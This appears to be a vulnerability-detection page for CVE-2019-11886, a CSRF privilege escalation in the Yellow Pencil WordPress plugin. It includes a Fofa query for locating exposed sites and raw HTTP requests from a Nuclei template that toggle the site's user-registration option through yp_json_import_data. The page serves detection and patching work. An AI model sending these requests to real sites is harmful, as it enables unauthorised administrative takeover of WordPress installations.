🔙 목록으로 돌아가기

CVE-2019-11886: Yellow Pencil Visual Theme Customizer < 7.2.1 - Privilege Escalation

TitleYellow Pencil Visual Theme Customizer < 7.2.1 - Privilege Escalation
Authordaffainfo
SeverityHigh
ImpactUnauthenticated attackers can exploit CSRF to escalate privileges to administrator level, gaining complete control over the WordPress site including content manipulation and user management.
RemediationUpgrade to Yellow Pencil Visual Theme Customizer version 7.2.1 or later.
CVSS Score8.8
EPSS Score0.28566
CVE IDCVE-2019-11886
CWE IDCWE-352
Fofa Querybody="wp-content/plugins/yellow-pencil-visual-theme-customizer/" && body="wp-"
Tags cve cve2019 wp wordpress wp-plugin yellow-pencil-visual-theme-customizer vkev vuln

🔍 Vulnerability Description

The WaspThemes Visual CSS Style Editor (aka yellow-pencil-visual-theme-customizer) plugin before 7.2.1 for WordPress allows yp_option_update CSRF, as demonstrated by use of yp_remote_get to obtain admin access.

🌐 HTTP Request

POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

yp_json_import_data=[{"users_can_register":"MQ=="}]
GET /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2 rv:2.0; mai-IN) AppleWebKit/533.27.1 (KHTML, like Gecko) Version/5.0 Safari/533.27.1
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

yp_json_import_data=[{"users_can_register":"MA=="}]
GET /wp-login.php?38FWCWjAjMHNflepvWi1yic275S HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11886.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-11886.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A